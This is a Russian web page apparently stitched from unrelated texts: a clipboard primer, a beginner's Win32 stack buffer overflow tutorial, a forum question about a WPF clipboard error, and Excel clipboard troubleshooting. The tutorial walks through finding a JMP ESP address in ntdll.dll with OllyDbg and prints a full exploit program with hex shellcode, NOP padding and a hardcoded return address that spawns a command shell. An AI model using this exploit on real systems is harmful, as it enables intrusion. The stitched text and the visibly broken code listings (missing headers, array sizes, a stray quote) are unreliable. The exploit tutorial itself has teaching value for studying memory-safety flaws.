Переполнение буфера для чайников. Переполнение буфера Ошибка при чтении данных из буфера обмена

Буфер обмена - некоторая область памяти компьютерной операционной системы, которая отведена для хранения временной информации.

Вы наверняка не раз что-то перемещали или копировали на своем компьютере (папки, текст, картинки, другие файлы). Думали ли вы о том, куда помещаются файлы после совершения действия перемещения/копирования? Правильно, они загружаются в буфер обмена. Он запоминает информацию, которую вы скопировали, и отдает ее при нажатии команды «Вставить».

Некоторые приложения имеют собственный буфер, доступный только в рамках данной программы.

Недостатки буфера обмена

Главным отрицательным моментом является то, что он способен хранить лишь один блок информации. Значит, после копирования очередных данных старые заменятся новыми.

Но возможна ситуация, когда в одном текстовом документе вам потребуется скопировать двадцать фрагментов в другой документ. В данном случае вам придется двадцать раз совершать одни и те же действия.

Будет, несомненно, удобнее, если сначала скопировать все нужные фрагменты в буфер, а потом один раз использовать их в новом документе.

По умолчанию эта функция не может выполнять такие действия. Для реализации данной задачи используются специально разработанные приложения, также называемые менеджерами буфера обмена.

Существует множество утилит, позволяющих восстановить данные из буфера. Например, такое приложение как Ditto Clipboard Manager. Оно русскоязычное и бесплатное. Программа дает возможность восстановить информацию из буфера обмена. Отображается она в системном трее операционной системы.

Весь текст и графику, записанную в буфер обмена, утилита фиксирует в журнале. Отрывков таких может быть немало. При необходимости каждый из них можно добавить в документ, выбирая его из списка. Утилита имеет большой выбор других настроек, с которыми без труда справится даже новичок.

Подобная программа окажет вам неоценимую помощь, если вы часто используете буфер обмена.

Другие утилиты:

  • Clipomatic - программа очень удобна для работы с буфером, но запоминает только текстовые фрагменты.
  • CLCL - простая, имеющая много полезных функций утилита. Позволяет сохранять устанавливать плагины, настраивать фильтр запоминания информации.
  • ClipX - приложение, очень похоже на CLCL.
  • Clipboard Keeper - хорошая бесплатная программа.

Где найти буфер обмена Windows?

Если вы хотите увидеть содержание своего буфера обмена, то вы можете это сделать, открыв файл под названием clipbrd.exe. Он находится в системной директории C:/WINDOWS, а затем в system32. Этот файл доступен для просмотра (его нельзя удалять) только владельцам Windows XP. В «семерке» и «Висте» он заменен на файл clip.exe, просмотреть содержимое которого не представляется возможным.

Очистка буфера обмена (кроме Windows XP)

Чтобы удалить содержимое в операционных системах Windows 7 и Vista, следуйте данной инструкции:

Создайте файл-ярлык. Для этого нужно единожды нажать на пустом пространстве рабочего стола правой кнопкой мыши, выделить пункт «Создать», затем «Ярлык».

В появившемся окошке в поле, где должен размещаться путь к объекту, введите команду, очищающую буфер: cmd /c echo off | clip.

Придумайте ярлыку имя и нажмите «ОК».

В результате на рабочем столе вашего персонального компьютера появится ярлык темного цвета. При необходимости очистки буфера обмена дважды кликните по нему.

Ошибки буфера обмена

Работая с MS Office, вы можете столкнуться с довольно часто встречающейся ошибкой. При осуществлении копирования/вставки появляется окошко с надписью «Ошибка очистки буфера обмена». Причиной этого может послужить установка на вашем компьютере приложения Punto Switcher, осуществляющего переключение раскладки клавиатуры между двумя языками в автоматическом режиме. Выход из данной программы не гарантирует исчезновения ошибки, но попробовать все равно стоит.

Такая проблема также может возникать из-за приложения В настройках программы нужно отключить функцию «Отслеживать URL в буфере».

Посмотрев на название, я думаю вы скажите, что это очередная повторяющаяся статья
на тему переполнения буфера в системах win32. Да это действительно так:). Но в
данном материале я бы хотел рассказать все в подробностях. Т.е. описать основную
технику, работу с отладчиками в поисках адресов, также напишем кое-какие примеры
уязвимых программ и эксплоитов для них. В качестве отладчика я буду использовать
всеми известный и замечательный отладчик под названием OLLYDBG версии 1.10. Скачать его можно:
http://home.t-online.de/home/Ollydbg/ . Скажу, что данный материал
рассчитан на новичков.

Ошибка переполнения буфера стала известна еще где-то в ~1980 годах. Вообще, данная
ошибка считается одной из самых распространенных уязвимостей на данный момент.
Количество эксплоитов, написанных на основе этой ошибки перевалило уже за несколько тысяч. Ошибка эта довольно проста. Заключается в невнимательности программиста,
пишущего программу. Например, программист не уследил за длинной буфера, а далее
пользователь или злоумышленник попытается ввести данные, которые выйдут за пределы определенного программистом буфера. И потом программа просто рухнет. Думаю, вы
знаете, что существуют несколько видов эксплуатирующих программ. Один из таких
видов - банальный DoS. Посылается определенной длины
строка, при которой эксплуатируемая программа
уходит в "даун". В данной статье я покажу метод,
при котором эксплуатируемая программа не вылетит, а лишь сделает то, что нам нужно. Теперь хотелось бы вам показать пример уязвимой программы.

code (vuln.c)

#include
#include

int main(int argc, char *argv) {

char buf;
strcpy(buf, argv);

Выше приведенный пример программы типичен,
т.к. в нем используется уязвимая функция strcpy(). Она копирует строку без предварительной проверки на длину. Есть альтернатива данной функции, которая считается безопасной к переполнениям - это
strncpy(). У нее должно быть 3 аргумента.

strncpy(char *__dest, char *__src, u_int __maxlen).

Первый аргумент это строка, в которую будет осуществляться копирование, второй - это
строка из которой будет осуществляться копирование, а третий - это длина строки первого аргумента. Ниже показан пример защищенной программы.

code (sec.c)

#include
#include

int main(int argc, char *argv)
{
char buf;
strncpy(buf, argv, sizeof(buf));
}

При этом хочу сказать, что использование функции strncpy() замедляет выполнение программы, т.к. забивает буфер полностью. Поэтому перед тем, как использовать менее
защищенную функцию strcpy(), нужно делать проверку на фиксацию длины передаваемого
буфера.

Вернемся к нашей уязвимой программе vuln.c. Откомпилируйте это программу с использованием какого-либо компилятора. Будь то Visual C++ или Borland C++, значения не имеет. Откомпилировали? Ну и хорошо. Теперь в командной строке запустите готовый бинарник. И попробуйте в первый аргумент ввести слишком большое значение. Более 100 байт.
И что вы видите? В моей системе вылезло окошко о том, что программа вызвала ошибку
переполнения и будет закрыта. При этом имеются кнопки "Отладка", "Отправить отчет",
"Не отправлять". При нажатии кнопки "Отладка", система откроет отладчик по
умолчанию. При нажатии на кнопку "Отправить отчет", система попытается отправить отчет
об ошибке в корпорацию Microsoft. При нажатии на кнопку "Не отправлять", система
закроет уязвимое приложение. Так же имеется ссылочка для просмотра данных с надписью "щелкните здесь". Далее вы можете посмотреть отчет об ошибке. В отчете содержится полезная информация о стеке программы. О ее регистрах, адресах и т.д.
Согласитесь, что представленный отчет довольно неудобен и неразборчив. Поэтому я
предлагаю воспользоваться специализированные отладчики. Выше было упомянуто, что
в качестве отладчика мы будем использовать Ollydbg. На мой взгляд это один из самых
лучших отладочных средств для аудита программ. А почему не SoftICE? - спросите вы,
да потому, что версия портированная для WinNT довольно глючно проработана, да и
для того, чтобы разобраться с этим мощным средством потребуется немало времени и
сил:). Поэтому будем использовать Ollydbg (для него на данный момент есть спец плагины типа дизассемблера и других полезных фишек). На данный момент на сайте доступна финальная версия продукта - 1.10.

Итак, давайте приступим к работе с отладчиком. Запустите его.
Загрузите уязвимую программу в отладчик. Для загрузки выполните следующие действия:

File->Open-> PathToExeFile

Загрузили? Хорошо, теперь выполните:

Debug->Arguments-> PutSomeBytesToOverFlowBuffer

Введите длинный аргумент. Я ввел 20 символов "A". Теперь нажмите "ОК", отладчик попросит перезагрузить программу. Для этого нажмите кнопку "Restart" или комбинацию клавиш Ctrl+F2. Так-с, программа перезапущена. Теперь смело жмите на кнопку
"Run" или клавишу F9. В нижней строке должна появиться надпись вида "Access Violation when
execution (41414141)", это говорит о том, что уязвимая программа попыталась прочесть
адрес 0x41414141. 41 = hex("A"). То есть это способствует последним 4-м символам в
hex формате, введенным в первом аргументе уязвимой программы. Чувствуете чем это пахнет? Допустим, что при определенном раскладе мы заменяем адрес возврата и подменяем
его на то, чтобы он прочитал наш определенный код, который будет выполнять определенные действия. За начальный адрес возврата можно взять значение регистра
$ESP. Его можно считать за адрес, расположенный вверху стека, по которому будет расположен код.
Поэтому для тщательного анализа точный адрес будем искать в dll,
опираясь на значение регистра $ESP.

Идем далее. Вообще адрес, по которому будет располагаться наш заветный "злоумышленный
код" чаще всего следует искать в подгружаемых библиотеках (DLL). На этот случай нам
пригодится тот же замечательный отладчик Ollydbg. В нем есть функция просмотра всех
подгружаемых библиотек.

Для того, чтобы просмотреть DLLs сделайте следующее:
нажмите комбинацию Alt+F3 и вам высветится список библиотек. Многие начинают искать
комбинацию "JMP ESP" в стандартной ядровой библиотеке системы win32 - kernel32.dll.
Но в моем случае адрес располагался в библиотеке ntdll.dll. Поэтому давайте начнем
поиск с этой библиотеке. В списке библиотек дважды нажмите на это библиотеку. Вам
откроется стандартное окно отладчика, в котором располагаются все необходимые вещи.
Слева дизасм библиотеки. Переведите курсор туда и нажмите комбинацию клавиш
Ctrl+F. Эта комбинация означает то, что вы собираетесь искать какую-либо команду. В строке
введите значение "JMP ESP". Отладчик перекинет вас на эту команду. Теперь обратите
ваше внимание на левый бок дизасма. В нем располагаются адреса функций. Перепишите
или запомните адрес этой функции. Этот адрес в дальнейшем нам понадобится для размещения нашего "зловредного кода" 🙂

Итак, думаю настало время для написания нашего эксплоита. Вкратце поясню его работу. Эксплоит будет заполнять буфер нашим кодом, а далее посылать уязвимой программе в первый аргумент. Думаю, из комментариев будет все ясно.

Code (exp.c)

#include // связь с внешним миром }:>
#include // операции со строками
#include // для
системных вызовов

char shellcode =
"\x33\xf6\xB9\xAA\xAA\x6C\x6C"
"\xC1\xE9\x10\x51\x68\x72\x74"
"\x2E\x64\x68\x6D\x73\x76\x63"
"\x54\xB9\xD8\x05\xE8\x77\xff"
"\xd1\xb9\xaa\xaa\x65\x6d\xc1"
"\xe9\x10\x51\x68\x73\x79\x73"
"\x74\x54\x50\x8B\xF8\xB9\xFD" // наш зловредный код
"\xA5\xE7\x77\xff\xd1\xb9\xaa"
"\x63\x6d\x64\xC1\xE9\x08\x51"
"\x54\xff\xd0\x56\x68\x65\x78"
"\x69\x74\x54\x57\xb9\xfd\xa5"
"\xe7\x77\xff\xd1\x56"\xff\xd0";

int main(int argc, char* argv)
{
char buf; // буфер для посылки
char exec;

memset(buf,0x00,sizeof(buf)); // обнуляем буфер
memset(buf,0x90,190-strlen(shellcode)); //
заполняем мусором
memcpy(buf+strlen(buf), &shellcode, strlen(shellcode)); //
вставляем код
// наш адрес в который ляжет код
*(long *)&buf = 0x77F5801c; //
buf = строка при которой программа падает
// т.е. при 103 уязвимая прога не падает.
sprintf(exec,"vu1n.exe %s",buf); //
заполняем для отправки
system(exec); // выполняем системный вызов.

return 0; // выходим 🙂
}

Теперь откомпилируйте пример и запустите.

C:\>sc exp.c -o exp.exe
Done!
C:\>exp.exe

Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.

Как видно, наш эксплуататор работает исправно:). Замечу то, что данный пример
был написан под системой Windows XP Pro. Поэтому адреса, по которым ляжет код
могут различаться от моих.

На этом спешу отклониться. И пожелать вам дальнейших успехов в вашем нелегком
пути. Если возникнут какие-либо вопросы, то не стесняйтесь:
.

3

У меня возникла проблема с буфером обмена, и я получаю это сообщение об ошибке каждый раз, когда пытаюсь сделать операцию копирования/вставки из файла Excel.

код разбивает на Clipboard.GetDataObject() и сообщение об ошибке заключается в следующем:

OpenClipboard Failed (Exception from HRESULT: 0x800401D0 (CLIPBRD_E_CANT_OPEN))

Мой WPF приложение уже запущено, когда я открываю Excel, написать текст, а затем попытаться скопировать/вставить.

код, который я использую это:

Private void SetClipboardData() { IDataObject data = Clipboard.GetDataObject(); IList result = GetDataForFileDropFormat(data); if ((result != null) && (result.Count > 0)) { this._elementsClipboard = result; this._sourceDrag = null; this._sourceClipboard = null; } }

выше функция вызывается в этом методе обработчика:

Public void Handle_WM_DRAWCLIPBOARD(IntPtr hwnd, int msg, IntPtr wParam, IntPtr lParam, ref bool handled) { SendMessage(this._nextClipboardViewer, msg, wParam, lParam); // get data from clipboard SetClipboardData(); handled = true; }

Я искал MSDN и.NET форумах, но Бесполезный Не находите обходного пути для этой проблемы.

Может ли кто-нибудь помочь мне в этом или дать мне представление о том, что мне следует попробовать?

  • 2 ответа
  • Сортировка:

    Активность

3

Несколько вопросов здесь. Кулак, в то время как вам определенно нужно отправить WM_DrawClipboard в следующее приложение в цепочке, вам не нужно это делать FIRST. Вы можете сделать это после того, как вы запустите свой собственный материал, затем передайте сообщение.

Далее, не ожидайте, что Excel выполнит все его обновление буфера обмена за одну операцию. Я видел, что Excel выполняет целых 24 обновления в строке при копировании сложных объектов. (в частности, графики - они открывали/закрывали буфер обмена после добавления каждого отдельного формата).

Кроме того, Excel использует преимущества Delayed Rendering для почти всего, кроме простого текста. Поэтому, когда ваше приложение запрашивает данные, Excel его выполняет. Это может занять время.

Возможно, вам понадобится реализовать задержку с «пока не удачным или 3-удаленным циклом». Вам нужно будет обратить пристальное внимание на то, отправляете ли вы WM_DrawClipboard по цепочке до или после обработки, поскольку, возможно, вы настроите другое столкновение с другими зрителями буфера обмена, которые также заинтересованы в данных Excel, и им приходится прибегать к таким трюки сами.

А вы думали, что это будет легко.....

Распространение компьютеров в массы в начале двухтысячных ознаменовало также и невероятно быстрое распространение офисных программ. Один из флагманов в этой отрасли - Microsoft Office представляет решение для работы с табличными данными : Excel. При работе с офисными приложениями у среднестатистического пользователя появляется множество проблем. Сегодня мы разберёмся, что делать, если возникает ошибка очистки буфера обмена Excel.

При работе с Эксел может возникать ошибка очистки буфера обмена

Причины возникновения неполадок

Как правило, такая проблема появляется очень редко и в большинстве случаев во время работы программ, которые используют промежуточное хранилище данных. Среди таких: приложения, которые автоматически меняют раскладку на клавиатуре. Реже ошибка может выдаваться, если некоторые файлы приложения повреждены или перемещены. В любом случае есть универсальный подход к такого рода неприятностям, который мы и рассмотрим далее.

Что делать, если ошибка постоянно появляется?

  • Отследите, какие программы помимо Microsoft Office Excel работают во время возникновения ошибок. Если одна из них использует клипборд - меняйте внутренние настройки этого приложения, выключайте на время работы с табличными данными или вовсе удаляйте из системы. Чаще всего проблема появляется при работе с различными свитчерами.
  • Произведите восстановление файлов приложения в панели управления. Для этого просто ищем приложение в списке установленных и жмём на соответствующее поле в дополнительном меню программы, если оно есть.
  • Если после произведённых манипуляций всё ещё не удаётся очистить буфер обмена Excel, то стоит попробовать откатить операционку назад, на время, когда с ним всё было в порядке. Для этого нужно иметь уже созданные контрольные точки. Если вы лично не настраивали расписание их создания и вручную тоже ничего не делали - не отчаивайтесь, некоторые приложения создают такие контрольные точки перед началом своей работы. Чтобы проверить наличие контрольной точки нужно зайти в защиту системы. Для этого кликаем правой кнопкой по иконке компьютера и выбираем пункт Свойства, мы попадём в меню Система, где в левой колонке нам нужно будет найти строку Защита системы. Заходим туда и жмём кнопку Восстановить . Появится список всех сохранённых контрольных точек.
    Если их, вообще, нет, то не расстраиваемся, есть ещё способы для решения проблемы с ошибкой открытия буфера обмена в Excel. Если же точки есть - восстанавливаем на ближайшую, дата создания которой точно вас удовлетворит. В будущем создайте расписание создания точек, этот приём вам ещё не раз пригодится.
  • Ошибка очистки буфера обмена Excel чаще всего бывает в версиях программы 2003 и 2007 годов, попробуйте поставить более новую версию. Если переходить на другую версию не хочется, то просто попробуйте удалить Office и поставить его заново. Не вздумайте вручную удалять файлы офисных программ, для этого у Майкрософт существует специальная утилита, которую можно скачать на официальном сайте.
  • Если ничего не помогает, а контрольной точки нет - переустанавливайте операционную систему. Действие радикальное, но точно вернёт всё на свои места. Если боитесь потерять драгоценные файлы, то разбейте локальный диск, если он один, на несколько частей. В итоге вы отформатируете только диск с операционной системой, а пользовательские файлы останутся нетронутыми.

ВАЖНО. Не спешите удалять всё подряд, отследите причину и выберите самый удобный и быстрый вариант для вашего случая.

Заключение

Ошибка открытия буфера обмена Excel чаще всего появляется вследствие параллельной работы программ, которые используют буфер обмена. Большая часть неполадок решается изменением настроек этих самых программ. Запретите им использовать буфер, и тогда ошибки не должны возникать. Если вручную с проблемой не удаётся справиться, то предпочтение должно отдаваться восстановлению системы в положение, когда всё было в порядке. Это быстро и надёжно. В крайнем случае переустанавливайте операционную систему.

Если у вас появились вопросы - задайте их в комментариях.